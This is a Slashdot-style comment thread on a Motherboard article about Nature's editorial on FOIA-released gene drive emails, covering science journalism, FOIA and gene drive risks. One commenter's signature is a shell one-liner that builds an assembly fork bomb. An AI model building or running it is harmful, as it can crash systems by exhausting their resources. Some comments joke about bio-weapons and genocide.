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'Nature' Editorial Juxtaposes FOIA Email Release With Illegal Hacking (vice.com)
Jason Koebler and Sarah Emerson, reporting for Motherboard: Private emails between scientists working on a controversial genetic technology called "gene drive" were released last week. Obtained through a Freedom of Information Act (FOIA) request, their publication has been criticized by some as an attempt to discredit the science community. Gene drives are a genetic engineering approach with huge implications. They're meant to seed genetic traits -- one that stops mosquitoes from carrying malaria, for instance, or hampers invasive rodents' ability to reproduce -- in a population, and with terrifyingly high odds of inheritance. If things go wrong, gene drives could destabilize ecosystems. (So far, they've only been applied to yeast, fruit flies, and mosquitoes in a lab setting.) More ideally, they could wipe out deadly plagues by targeting their vectors, or give threatened species a fighting chance. Like any young technology, there are a lot of unknowns, and stakeholders are hoping to provide clarity at the United Nations Convention on Biological Diversity next year; the same convention where a proposed gene drive moratorium was rejected in 2016. The emails and other documents reveal details about gene drive's biggest funders, including DARPA, the US military's research agency.
Gene drives are a genetic engineering approach with huge implications. They're meant to seed genetic traits -- one that stops mosquitoes from carrying malaria, for instance, or hampers invasive rodents' ability to reproduce -- in a population, and with terrifyingly high odds of inheritance. [snip]. (So far, they've only been applied to yeast, fruit flies, and mosquitoes in a lab setting.)
Fiddlestocks! yeast, fruit flies.... yikes!
Just imagine letting it lose among the terrorists and criminals. No body would object to fighting terrorists and criminals, right? And then, get this Pinky, this is where my genius idea comes in. We just have to mark any one opposed to us as criminals, and wow! We will get the world dominating thing done before the first commercial break!
But Brain, who would oppose this? We will take over the world, like we always do
What's the we you are talking about Kemo Sabe? Anyone who might oppose would be next. Any lab rat with less gray matter and more pink skin...
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
"One of science's most important publications assumes science journalists don't know how to do their jobs." Having seen what "science journalism" looks like that would be a fair assumption. At least if you assume that their jobs includes counting truth and reality as more important than fear derived sales/attention and interest generating arguments form "balance" between qualified individuals and the cranks presented as their equals.
Maybe the humans will win out, maybe the Gillmen or the Molemen or the Centaurs or the AIs. Whatever, it's survival of the fittest.
Even if the species that wins out isn't humans and is a bit janky in the long run, they'll know enough about how they were constructed to rollback the bad changes in Version 2.0
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
While I understand and agree with FOIA for government and employees of government agencies, does it not seem strange to anyone else that it applies to research scientists in universities?
To reduce population in areas with severe drought and famine?
These scientists better hope the Krogan don't find out. They are still mad about the genophage.
"A person is smart. People are dumb, panicky dangerous animals and you know it." - K
One of science's most important publications assumes science journalists don't know how to do their jobs.
It looks like Nature assumes science journalists are very good at their jobs, which is sexing up scientific results to make click bait. Accurately portraying what is in a science paper (or emails in this case) doesn't seem to be part of that job.
As one example, a prominent researcher in the Chronic Fatigue Syndrome field continues to make 'harrasment' allegations and veiled claims of threats, even after their university has revealed no threats were reported to them, and failing to bring up those threats when legal proceedings were mentioned.
Such 'harrasment' included FOIA, and questions being asked in parliament, and 'libelous blogs'.
http://www.virology.ws/2017/05/03/trial-by-error-continued-my-libelous-blogging-on-virology-blog/
After continually refusing to release information (as required by PLOS rules) a paper gets a warning attached to it:
http://retractionwatch.com/2017/05/02/plos-upgrades-flag-controversial-pace-chronic-fatigue-syndrome-trial-authors-surprised/
They claim to be willing to share the data, in practice they are only willing to share the data with researchers who agree with them, and they can pre-vet.
After this data was obtained (part of it) though freedom of information requests, it turned out that the analysis done on it was at best sketchy and misleading on claims of recovery.
The new "think of the children".
Yeah, and that deadly plague could be ... humanity.
Or what do you generally call something that exponentially grows, and destoys/kills its host? An explosion or a deadly pathogen.
Frankly, Ebola-AIDS seems like a more likely candidate for turning around in order to not kill the host that it needs to survive.
If the processes behind research can't stand up to the scrutiny of publicity, it isn't science.
TFA shares the title of this post, but nowhere in the summary does the editor include the relevant details that make the title valid. Namely there's no info whatsoever about the hacking, which I'd think is something Slashdot would find interesting.
In short: the emails were hacked in 2009, and released in a way that makes the scientists look particularly bad. The recent article (2016) juxtaposed the original hacked email leak with the legal FOIA request. The Vice article isn't about the technology, which is quite honestly old news. It's about science journalism.
"They're meant to seed genetic traits -- one that stops mosquitoes from carrying malaria, for instance, or hampers invasive rodents' ability to reproduce -- in a population, and with terrifyingly high odds of inheritance. "
The inability to reproduce is not inheritable.
...I have more fears regarding the consequences of accidental fuckups with these sorts of things than I do of nuclear plants, Donald Trump, DPRK, and climate change all bundled together.
-Styopa
There you AGW deniers go again.
Because science seeks reality, and reality is the number one ennemy of those who seek to control us.
Looks like scientists are going to have to resort to end-to-end encryption in their communications in order to be able to work in peace.
There you HERETICS go again.
FTFY.
It does not respond to FOIA requests.
Of course the military is funding genetic engineering.
They fund any technology with the potential to control, incapacitate or kill large numbers of people. That's their job. It's what you pay them to do.
However, genetic engineering also offers the suicide terrorist a unique possibility.
A bio-weapon could be deployed on the cheap, and at very least, disrupt airlines, subways - even the post office.
Which reminds me of the anthrax attacks that followed 9/11.
The most likely source of the anthrax was a military lab.
The most likely attacker was a military bio-scientist.
Good luck keeping genetically engineered weapons under control.
Wow, so smallpox to kill all black!white people. Brilliant! What could possibly go wrong. Its like we cant stop inventing ways to destroy ourselves.
Because on dangerous environments, any animal will make more children, so at least some survive.
Itâ(TM)s why the wealthiest countries have the fewest children and the poorest, most war-torn have the most children.
I know it is counter-intuitive, but I am living proof: My dad came from poor war-torn Afghanistan. His dad had 13 children.
He came to Germany*, and had 3 children.
Those 3 children, everyone a successful member of society, all-together, had only 2 children.
----
* Originally as a refugee from tje Russian invasion. Then as a old-scool proper research reporter. And has been working to uncover the money trail behind terrorism, that originated in Germany and the USA, via Pakistan and Saudi Arabia mostly. For which we were threatened with murder by those terrorists. So don't even try to use your usual Nazi memes, because he did more for his new home country than any German-born-and-raised Nazi ever did in his pathetic alcoholic loser life.
You're being humorous, but that does hint at one of the genuine risks of gene drives - the lines between species are generally far less absolute than we imagine, with outliers between "genetically adjacent" species sometimes able to successfully reproduce, which would allow a gene drive to jump species. Combine that with an infected species having a population that's almost entirely hard-up males, and it seems like the odds would go up even further.
And if you're talking about a less... extinction-oriented gene drive, then you have to recognize that the "infected" species will now be carrying extremely powerful DNA-editing technology in their DNA forever - gene drives can remove anything except themselves. And evolution does so love to find ways to put useful genes to work.
--- Most topics have many sides worth arguing, allow me to take one opposite you.
Please build a bacteriophage that targets Lyme disease and other really nasty bugs that serve no purpose like MRSA.